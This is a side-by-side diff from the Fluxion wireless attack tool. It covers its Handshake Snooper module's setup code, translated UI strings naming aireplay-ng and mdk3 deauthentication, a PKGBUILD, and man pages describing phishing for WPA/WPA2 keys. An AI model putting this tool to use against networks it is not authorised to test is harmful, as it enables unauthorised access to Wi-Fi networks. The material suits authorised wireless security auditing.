if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi if [ "$HANDSHAKEVerifierInterval" ]; then return 0; fi
handshake_snooper_unset_verifier_interval handshake_snooper_unset_verifier_interval
@ -207,84 +304,136 @@ function handshake_snooper_set_verifier_interval() {
io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@] io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@]
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$HandshakeSnooperVerifierInterval30SOption") HANDSHAKEVerifierInterval=30 ;; "$HandshakeSnooperVerifierInterval30SOption")
"$HandshakeSnooperVerifierInterval60SOption") HANDSHAKEVerifierInterval=60 ;; HANDSHAKEVerifierInterval=30 ;;
"$HandshakeSnooperVerifierInterval90SOption") HANDSHAKEVerifierInterval=90 ;; "$HandshakeSnooperVerifierInterval60SOption")
"$FLUXIONGeneralBackOption") HANDSHAKEVerifierInterval=60 ;;
handshake_snooper_unset_verifier_interval "$HandshakeSnooperVerifierInterval90SOption")
return 1 HANDSHAKEVerifierInterval=90 ;;
;; "$FLUXIONGeneralBackOption")
handshake_snooper_unset_verifier_interval
return 1
;;
esac esac
} }
function handshake_snooper_unset_verifier_synchronicity() { handshake_snooper_unset_verifier_synchronicity() {
if [ ! "$HANDSHAKEVerifierSynchronicity" ]; then return 1; fi
HANDSHAKEVerifierSynchronicity="" HANDSHAKEVerifierSynchronicity=""
} }
function handshake_snooper_set_verifier_synchronicity() { handshake_snooper_set_verifier_synchronicity() {
if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi if [ "$HANDSHAKEVerifierSynchronicity" ]; then return 0; fi
handshake_snooper_unset_verifier_synchronicity handshake_snooper_unset_verifier_synchronicity
local choices=("$HandshakeSnooperVerifierSynchronicityAsynchronousOption" "$HandshakeSnooperVerifierSynchronicitySynchronousOption" "$FLUXIONGeneralBackOption") local choices=(
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption"
"$HandshakeSnooperVerifierSynchronicitySynchronousOption"
"$FLUXIONGeneralBackOption"
)
io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@] io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@]
case "$IOQueryChoice" in case "$IOQueryChoice" in
"$HandshakeSnooperVerifierSynchronicityAsynchronousOption") HANDSHAKEVerifierSynchronicity="non-blocking" ;; "$HandshakeSnooperVerifierSynchronicityAsynchronousOption")
"$HandshakeSnooperVerifierSynchronicitySynchronousOption") HANDSHAKEVerifierSynchronicity="blocking" ;; HANDSHAKEVerifierSynchronicity="non-blocking" ;;
"$FLUXIONGeneralBackOption") "$HandshakeSnooperVerifierSynchronicitySynchronousOption")
handshake_snooper_unset_verifier_synchronicity HANDSHAKEVerifierSynchronicity="blocking" ;;
return 1 "$FLUXIONGeneralBackOption")
;; handshake_snooper_unset_verifier_synchronicity
return 1
;;
esac esac
} }
function unprep_attack() {
# ============================================================ #
# =================== < Parse Parameters > =================== #
# ============================================================ #
if [ ! "$HandshakeSnooperCLIArguments" ]; then
if ! HandshakeSnooperCLIArguments=$(
getopt --options="v:i:j:a" \
--longoptions="verifier:,interval:,jammer:,asynchronous" \
--name="Handshake Snooper V$FLUXIONVersion.$FLUXIONRevision" -- "$@"
); then
echo -e "${CRed}Aborted$CClr, parameter error detected..."
sleep 5
fluxion_handle_exit
fi
declare -r HandshakeSnooperCLIArguments=$HandshakeSnooperCLIArguments
eval set -- "$HandshakeSnooperCLIArguments" # Set environment parameters.
fi
# ============================================================ #
# ============= < Argument Loaded Configurables > ============ #
# ============================================================ #
while [ "$1" != "" -a "$1" != "--" ]; do
case "$1" in
-v|--verifier)
HandshakeSnooperVerifierIdentifier=$2; shift;;
-i|--interval)
HandshakeSnooperVerifierInterval=$2; shift;;
-j|--jammer)
HandshakeSnooperUninitializedJammerInterface=$2; shift;;
-a|--asynchronous)
HandshakeSnooperVerifierSynchronicity="non-blocking";;
esac
shift # Shift new parameters
done
# ============================================================ #
# ===================== < Fluxion Hooks > ==================== #
# ============================================================ #
attack_targetting_interfaces() {
interface_list_wireless
local interface
for interface in "${InterfaceListWireless[@]}"; do
echo "$interface"
done
}
unprep_attack() {
HandshakeSnooperState="Not Ready" HandshakeSnooperState="Not Ready"
handshake_snooper_unset_verifier_synchronicity handshake_snooper_unset_verifier_synchronicity
handshake_snooper_unset_verifier_interval handshake_snooper_unset_verifier_interval
handshake_snooper_unset_verifier_identifier handshake_snooper_unset_verifier_identifier
handshake_snooper_unset_jammer_interface
handshake_snooper_unset_deauthenticator_identifier handshake_snooper_unset_deauthenticator_identifier
sandbox_remove_workfile "$FLUXIONWorkspacePath/capture" sandbox_remove_workfile "$FLUXIONWorkspacePath/capture"
} }
function prep_attack() { prep_attack() {
mkdir -p "$FLUXIONWorkspacePath/capture" mkdir -p "$FLUXIONWorkspacePath/capture"
while true; do IOUtilsHeader="handshake_snooper_header"
handshake_snooper_set_deauthenticator_identifier
if [ $? -ne 0 ]; then break; fi
handshake_snooper_set_verifier_identifier
if [ $? -ne 0 ]; then
handshake_snooper_unset_deauthenticator_identifier
continue
fi
handshake_snooper_set_verifier_interval
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_identifier
continue
fi
handshake_snooper_set_verifier_synchronicity
if [ $? -ne 0 ]; then
handshake_snooper_unset_verifier_interval
continue
fi
HandshakeSnooperState="Ready"
break
done
# Check for handshake abortion. # Removed read-only due to local constant shadowing bug.
if [ "$HandshakeSnooperState" != "Ready" ]; then # I've reported the bug, we can add it when fixed.
unprep_attack local sequence=(
"set_deauthenticator_identifier"
"set_jammer_interface"
"set_verifier_identifier"
"set_verifier_interval"
"set_verifier_synchronicity"
)
if ! fluxion_do_sequence handshake_snooper sequence[@]; then
return 1 return 1
fi fi
HandshakeSnooperState="Ready"
} }
function stop_attack() { stop_attack() {
if [ "$HANDSHAKEArbiterPID" ]; then if [ "$HANDSHAKEArbiterPID" ]; then
kill -s SIGABRT $HANDSHAKEArbiterPID &>$FLUXIONOutputDevice kill -s SIGABRT $HANDSHAKEArbiterPID &> $FLUXIONOutputDevice
fi fi
HANDSHAKEArbiterPID="" HANDSHAKEArbiterPID=""
@ -292,12 +441,12 @@ function stop_attack() {
HandshakeSnooperState="Stopped" HandshakeSnooperState="Stopped"
} }
function start_attack() { start_attack() {
if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi
if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi
HandshakeSnooperState="Running" HandshakeSnooperState="Running"
handshake_snooper_arbiter_daemon $$ &>$FLUXIONOutputDevice & handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice &
HANDSHAKEArbiterPID=$! HANDSHAKEArbiterPID=$!
} }

View File

@ -2,6 +2,8 @@
# identifier: Handshake Snopper # identifier: Handshake Snopper
# description: Acquires WPA/WPA2 encryption hashes. # description: Acquires WPA/WPA2 encryption hashes.
HandshakeSnooperJammerInterfaceQuery="Select an interface for jamming."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperMethodQuery="Select a method of handshake retrieval" HandshakeSnooperMethodQuery="Select a method of handshake retrieval"
HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)"

View File

@ -0,0 +1,31 @@
#!/bin/bash
# identifier: Handshake Snopper
# description: Получает зашифрованные WPA/WPA2 хэши (рукопожатия).
HandshakeSnooperJammerInterfaceQuery="Выберите интерфейс для глушения."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperMethodQuery="Выберите метод получения рукопожатия"
HandshakeSnooperMonitorMethodOption="Наблюдение (${CYel}пассивный$CClr)"
HandshakeSnooperAireplayMethodOption="Деаутентификация с aireplay-ng (${CRed}агрессивный$CClr)"
HandshakeSnooperMdk3MethodOption="Деаутентификация с mdk3 (${CRed} агрессивный $CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperVerifierIntervalQuery="Как часто проверять наличие рукопожатия?"
HandshakeSnooperVerifierInterval30SOption="Каждые 30 секунд (${CGrn}рекомендуется${CClr})."
HandshakeSnooperVerifierInterval60SOption="Каждые 60 секунд."
HandshakeSnooperVerifierInterval90SOption="Каждые 90 секунд."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperVerifierSynchronicityQuery="Как должна происходить верификация?"
HandshakeSnooperVerifierSynchronicityAsynchronousOption="Асинхронно (${CYel}только на быстрых системах${CClr})."
HandshakeSnooperVerifierSynchronicitySynchronousOption="Синхронно (${CGrn}рекомендуется${CClr})."
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
HandshakeSnooperStartingArbiterNotice="Запуск демона ${CCyn}Handshake Snooper$CClr."
HandshakeSnooperSnoopingForNSecondsNotice="Проверка каждые \$HANDSHAKEVerifierInterval секунд."
HandshakeSnooperStoppingForVerifierNotice="Остановка атаки и проверка хэшей."
HandshakeSnooperSearchingForHashesNotice="Поиск хэшей в файле захвата."
HandshakeSnooperArbiterAbortedWarning="${CYel}Прервано${CClr}: Операция была прервана, не найдено валидного хэша."
HandshakeSnooperArbiterSuccededNotice="${CGrn}Успех${CClr}: Валидный хэш был найден и сохранён в базе данных fluxion."
HandshakeSnooperArbiterCompletedTip="Атака ${CBCyn}Handshake Snooper$CBYel завершена, закройте это окно и начните другую атаку.$CClr"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# FLUXSCRIPT END

66
bin/arch/PKGBUILD Normal file
View File

@ -0,0 +1,66 @@
# Maintainer: Cyberfee <deltax.fluxion@gmail.com>
_pkgname=fluxion
pkgname=$_pkgname-git
pkgver=r1183.63b821f
pkgrel=1
pkgdesc='Fluxion is a security auditing and social-engineering research tool'
url='https://github.com/FluxionNetwork/fluxion'
license=('GPL3')
source=('git://github.com/FluxionNetwork/fluxion.git#branch=master')
depends=(
'aircrack-ng' 'bash>=4.2' 'coreutils'
'awk' 'iw' 'unzip'
'curl' 'bc' 'xterm'
)
makedepends=('binutils' 'coreutils' 'git')
conflicts=('fluxion-git')
provides=('fluxion-git')
sha256sums=('SKIP')
arch=('any')
prepare() {
if [ -d "$srcdir/$pkgname" ]; then
rm -rf "$srcdir/$pkgname"
fi
mkdir -p "$srcdir/$pkgname"
cd "$srcdir/$pkgname"
}
pkgver() {
cd "$srcdir/$_pkgname"
( set -o pipefail
git describe --long 2>/dev/null | sed 's/\([^-]*-g\)/r\1/;s/-/./g' ||
printf "r%s.%s" "$(git rev-list --count HEAD)" "$(git rev-parse --short HEAD)"
)
}
prepare() {
cd "$srcdir/$_pkgname"
}
package() {
cd "$srcdir/$_pkgname"
mkdir -p "$pkgdir/usr/bin"
mkdir -p "$pkgdir/usr/share/fluxion"
install -Dm644 -t "$pkgdir/usr/share/doc/fluxion/" README.md
install -Dm644 LICENSE "$pkgdir/usr/share/licenses/airgeddon/LICENSE"
rm -rf *.md .git* *.yml .project .editorconfig
cp -a --no-preserve=ownership * "$pkgdir/usr/share/fluxion"
cat > "$pkgdir/usr/bin/fluxion" << EOF
#!/bin/sh
cd /usr/share/fluxion
exec bash fluxion.sh "\${@}"
EOF
chmod a+x "$pkgdir/usr/bin/fluxion"
}

76
docs/man/fluxion.1 Normal file
View File

@ -0,0 +1,76 @@
.TH FLUXION 1 "MARCH 2018" Linux "User Manuals"
.SH NAME
fluxion \- Fluxion is a security auditing and social-engineering research tool
.SH SYNOPSIS
.B fluxion [-debug] [-l
.I language
.B ]
.I attack
.B ...
.SH DESCRIPTION
.B fluxion is a security auditing and social-engineering research tool.
It is a remake of linset by vk496 with (hopefully) less bugs
and more functionality. The script attempts to retrieve the WPA/WPA2
key from a target access point by means of a social engineering
(phising) attack. It's compatible with the latest release of Kali
(rolling). Fluxion's attacks' setup is mostly manual,
but experimental auto-mode handles some of the attacks'
setup parameters.
.SH OPTIONS
.IP "-v "
Print version number.
.IP "--help "
Print help page and exit with 0.
.IP "-m "
Run fluxion in manual mode instead of auto mode.
.IP "-k "
Kill wireless connection if it is connected.
.IP "-d "
Run fluxion in debug mode.
.IP "-x "
Try to run fluxion with xterm terminals instead of tmux.
.IP "-r "
Reload driver.
.IP "-l <language>"
Define a certain language.
.IP "-e <essid>"
Select the target network based on the ESSID.
.IP "-c <channel>"
Indicate the channel(s) to listen to.
.IP "-a <attack>"
Define a certain attack.
.IP "--ratio <ratio>"
Define the windows size. Bigger ratio -> smaller window size.
Default is 4.
.IP "-b <bssid>"
Select the target network based on the access point MAC address.
.IP "-j <jamming interface>"
Define a certain jamming interface.
.IP "-a <access point interface>"
Define a certain access point interface.
.SH FILES
.I /tmp/fluxspace/
.RS
The system wide tmp directory.
.RE
.I $FLUXION/attacks/
.RS
Folder where handshakes and passwords
are stored in.
.SH ENVIRONMENT
.IP FLUXIONAuto
Automatically run fluxion in auto mode if exported.
.IP FLUXIONDebug
Automatically run fluxion in debug mode if exported.
.IP FLUXIONWIKillProcesses
Automatically kill any interfering process(es).
.SH DIAGNOSTICS
Please checkout the other log files or use
the debug mode.
.SH BUGS
Please report any bugs at:
https://github.com/FluxionNetwork/fluxion/issues
.SH AUTHOR
Cyberfee, l3op, dlinkproto, vk496, MPX4132
.SH "SEE ALSO"
.BR aircrack-ng (8),

92
docs/man/fluxion.man Normal file
View File

@ -0,0 +1,92 @@
FLUXION(1) User Manuals FLUXION(1)
NAME
fluxion - Fluxion is a security auditing and social-engineering
research tool
SYNOPSIS
fluxion [-debug] [-l language ] attack ...
DESCRIPTION
fluxion is a security auditing and social-engineering research tool.
It is a remake of linset by vk496 with (hopefully) less bugs and more
functionality. The script attempts to retrieve the WPA/WPA2 key from a
target access point by means of a social engineering (phising) attack.
It's compatible with the latest release of Kali (rolling). Fluxion's
attacks' setup is mostly manual, but experimental auto-mode handles
some of the attacks' setup parameters.
OPTIONS
-v Print version number.
--help Print help page and exit with 0.
-m Run fluxion in manual mode instead of auto mode.
-k Kill wireless connection if it is connected.
-d Run fluxion in debug mode.
-x Try to run fluxion with xterm terminals instead of tmux.
-r Reload driver.
-l <language>
Define a certain language.
-e <essid>
Select the target network based on the ESSID.
-c <channel>
Indicate the channel(s) to listen to.
-a <attack>
Define a certain attack.
--ratio <ratio>
Define the windows size. Bigger ratio -> smaller window size.
Default is 4.
-b <bssid>
Select the target network based on the access point MAC address.
-j <jamming interface>
Define a certain jamming interface.
-a <access point interface>
Define a certain access point interface.
FILES
/tmp/fluxspace/
The system wide tmp directory.
$FLUXION/attacks/
Folder where handshakes and passwords are stored in.
ENVIRONMENT
FLUXIONAuto
Automatically run fluxion in auto mode if exported.
FLUXIONDebug
Automatically run fluxion in debug mode if exported.
FLUXIONWIKillProcesses
Automatically kill any interfering process(es).
DIAGNOSTICS
Please checkout the other log files or use the debug mode.
BUGS
Please report any bugs at: https://github.com/FluxionNetwork/flux-
ion/issues
AUTHOR
Cyberfee, l3op, dlinkproto, vk496, MPX4132
SEE ALSO
aircrack-ng(8),
Linux MARCH 2018 FLUXION(1)

1702
fluxion Executable file

File diff suppressed because it is too large Load Diff

1025
fluxion.sh

File diff suppressed because it is too large Load Diff

View File

@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Absolute path"
FLUXIONScannerChannelQuery="Vyberte kanál" FLUXIONScannerChannelQuery="Vyberte kanál"
FLUXIONScannerChannelOptionAll="Všechny kanály" FLUXIONScannerChannelOptionAll="Všechny kanály"
FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)" FLUXIONScannerChannelOptionSpecific="Specifický kanál(y)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelSingleTip="Jeden kanál" FLUXIONScannerChannelSingleTip="Jeden kanál"
FLUXIONScannerChannelMiltipleTip="Více kanálů" FLUXIONScannerChannelMiltipleTip="Více kanálů"

View File

@ -2,26 +2,26 @@
# German # German
# native: Deutsch # native: Deutsch
FLUXIONInterfaceQuery="Wähle deine Netzwerkkarte aus" FLUXIONInterfaceQuery="Wähle Sie ihre Netzwerkkarte aus"
FLUXIONUnblockingWINotice="Entferne den Softblock von allen Netzwerkkarten..." FLUXIONUnblockingWINotice="Wiederherstellen von allen Netzwerkkarten..."
FLUXIONFindingExtraWINotice="Schaue nach fremden drahlosen Netzwerkkarten..." FLUXIONFindingExtraWINotice="Suche nach Netzwerkkarten..."
FLUXIONRemovingExtraWINotice="Entferne freme drahtlose Netzwerkkarten..." FLUXIONRemovingExtraWINotice="Entferne Netzwerkkarten..."
FLUXIONFindingWINotice="Schaue nach fremden drahlosen Netzwerkkarten..." FLUXIONFindingWINotice="Suche nach Netzwerkkarten..."
FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in benutzung" FLUXIONSelectedBusyWIError="Die ausgewählte Netzwerkkarte befindet sich gerade in Benutzung"
FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor du FLUXION nutzt." FLUXIONSelectedBusyWITip="Führe \"export FLUXIONWIKillProcesses=1\" aus bevor Sie FLUXION benutzen"
FLUXIONGatheringWIInfoNotice="Sammeln der Daten von allen Netzwerken..." FLUXIONGatheringWIInfoNotice="Sammeln von Daten, von allen Netzwerken..."
FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden" FLUXIONUnknownWIDriverError="Netzwerkkartentreiber konnte nicht bestimmt werden"
FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..." FLUXIONUnloadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..."
FLUXIONLoadingWIDriverNotice="Warte auf Netzwerkarte \"\$wiSelected\"..." FLUXIONLoadingWIDriverNotice="Warte auf Treiberantwort \"\$wiSelected\"..."
FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..." FLUXIONFindingConflictingProcessesNotice="Suche nach Diensten die Probleme verursachen können..."
FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..." FLUXIONKillingConflictingProcessesNotice="Beende Diensten die Probleme verursachen können..."
FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden" FLUXIONPhysicalWIDeviceUnknownError="${CRed}Die Physische Schnittstelle konnte nicht ermittelt werden"
FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im Monitor Mode" FLUXIONStartingWIMonitorNotice="Starte die Netzwerkkarte im sogenannten Monitor Mode"
FLUXIONMonitorModeWIEnabledNotice="${CGrn}Monitormode konnte erfolgreich gestartet werden" FLUXIONMonitorModeWIEnabledNotice="${CGrn}Monitormode konnte erfolgreich gestartet werden"
FLUXIONMonitorModeWIFailedError="${CRed}Monitormode konnte nicht gestartet werden" FLUXIONMonitorModeWIFailedError="${CRed}Monitormode konnte nicht gestartet werden"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONStartingScannerNotice="Starte Netzwerkscanner" FLUXIONStartingScannerNotice="Starte Netzwerkscanner"
FLUXIONStartingScannerTip="Wenn nach etwa 5 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner" FLUXIONStartingScannerTip="Wenn nach etwa 30 Sekunden Netzwerke sichbar werden, schließe Netzwerkscanner"
FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..." FLUXIONPreparingScannerResultsNotice="Analysieren von allen gesammelten Daten..."
FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )" FLUXIONScannerFailedNotice="Netzwerkkarte ist möglichweise nicht geeignet ( Keine Netzwerke gefunden )"
FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden" FLUXIONScannerDetectedNothingNotice="Keine Netzwerke konnten gefunden werden"
@ -30,14 +30,15 @@ FLUXIONHashFileDoesNotExistError="Hash Datei existiert nicht"
FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash" FLUXIONHashInvalidError="${CRed}Fehler$CClr, falscher Hash"
FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert" FLUXIONHashValidNotice="${CGrn}Erfolgreich$CClr,Hash wurde erfolgreich verifiziert"
FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)" FLUXIONPathToHandshakeFileQuery="Geben sie den Pfad zum Handshake an $CClr(Beispiel: /.../dump-01.cap)"
FLUXIONAbsolutePathInfo="Geben sie den Absoluten Pfad ein" FLUXIONAbsolutePathInfo="Geben sie den absoluten Pfad ein"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelQuery="Wähle deinen Netzwerkkanal aus" FLUXIONScannerChannelQuery="Wähle deinen Netzwerkfrequenz aus"
FLUXIONScannerChannelOptionAll="Alle Netzwerkkanäle" FLUXIONScannerChannelOptionAll="Alle Netzwerkfrequenzen"
FLUXIONScannerChannelOptionSpecific="Spezifische Kanal(e)" FLUXIONScannerChannelOptionSpecific="Spezifische Frequenz(en)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelSingleTip="Einzelner Kanal" FLUXIONScannerChannelSingleTip="Einzelne Frequenz"
FLUXIONScannerChannelMiltipleTip="Mehrere Kanäle" FLUXIONScannerChannelMiltipleTip="Mehrere Frequenzen"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerHeader="FLUXION Scanner" FLUXIONScannerHeader="FLUXION Scanner"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
@ -48,15 +49,15 @@ FLUXIONAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}Langsame Verbindung
FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen" FLUXIONHashSourceQuery="Wähle eine Methode aus um den Handshake zu erlangen"
FLUXIONHashSourcePathOption="Handshake Pfad eingeben" FLUXIONHashSourcePathOption="Handshake Pfad eingeben"
FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen" FLUXIONHashSourceRescanOption="Handshake Ordner neu einlesen"
FLUXIONFoundHashNotice="Ein hash wurde für das Netzwerk gefunden" FLUXIONFoundHashNotice="Ein Hash wurde für das Netzwerk gefunden"
FLUXIONUseFoundHashQuery="Möchten sie dieses Netzwerk nutzen" FLUXIONUseFoundHashQuery="Möchten Sie dieses Netzwerk nutzen?"
FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu Verifizieren" FLUXIONHashVerificationMethodQuery="Wählen sie eine Methode um den Hash zu verifizieren"
FLUXIONHashVerificationMethodPyritOption="Pyrit Verifizierung (${CGrn}Empfohlen$CClr)" FLUXIONHashVerificationMethodPyritOption="Pyrit verifizierung (${CGrn}Empfohlen$CClr)"
FLUXIONHashVerificationMethodAircrackOption="Aircrack Verfizierung (${CYel}Unglaubwürdig$CClr)" FLUXIONHashVerificationMethodAircrackOption="Aircrack verfizierung (${CYel}Nicht empfohlen$CClr)"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus" FLUXIONAttackQuery="Wählen Sie einen drahtlosen Angriff für den Zugangspunkt aus"
FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr Angriff gestartet" FLUXIONAttackInProgressNotice="${CCyn}\$FLUXIONAttack$CClr Angriff gestartet"
FLUXIONSelectAnotherAttackOption="Wähle einen anderen Angriff" FLUXIONSelectAnotherAttackOption="Wählen Sie einen anderen Angriff"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONGeneralBackOption="${CRed}Zurück" FLUXIONGeneralBackOption="${CRed}Zurück"
FLUXIONGeneralExitOption="${CRed}Ausgang" FLUXIONGeneralExitOption="${CRed}Ausgang"
@ -65,7 +66,7 @@ FLUXIONGeneralNotFoundError="Nicht gefunden"
FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden" FLUXIONGeneralXTermFailureError="${CRed}Xterm Terminal konnte nicht gestartet werden"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONCleanupAndClosingNotice="Aufräumen und schließen" FLUXIONCleanupAndClosingNotice="Aufräumen und schließen"
FLUXIONKillingProcessNotice="Killing ${CGry}\$targetID$CClr" FLUXIONKillingProcessNotice="Beende ${CGry}\$targetID$CClr"
FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr" FLUXIONRestoringPackageManagerNotice="Restoring ${CCyn}\$PackageManagerCLT$CClr"
FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte" FLUXIONDisablingMonitorNotice="Deaktivierung der Netzwerkkarte"
FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte" FLUXIONDisablingExtraInterfacesNotice="Deaktivierung der Netzwerkkarte"

View File

@ -35,6 +35,7 @@ FLUXIONAbsolutePathInfo="Εισαγετε διαδρομή αρχειου"
FLUXIONScannerChannelQuery="Επίλεξτε κανάλι" FLUXIONScannerChannelQuery="Επίλεξτε κανάλι"
FLUXIONScannerChannelOptionAll="Όλα τα κανάλια" FLUXIONScannerChannelOptionAll="Όλα τα κανάλια"
FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)" FLUXIONScannerChannelOptionSpecific="Συγκεκριμένο(α) κανάλι(α)"
FluxionRestartOption="Restart"
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> # >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FLUXIONScannerChannelSingleTip="Ενα κανάλι" FLUXIONScannerChannelSingleTip="Ενα κανάλι"
FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια" FLUXIONScannerChannelMiltipleTip="Πολλαπλά κανάλια"

View File

@ -3,22 +3,36 @@
# native: English # native: English
FLUXIONInterfaceQuery="Select a wireless interface" FLUXIONInterfaceQuery="Select a wireless interface"
FLUXIONUnblockingWINotice="Unblocking all wireless interfaces..." FLUXIONAllocatingInterfaceNotice="Allocating reserved interface $CGrn\"\$interfaceIdentifier\"."
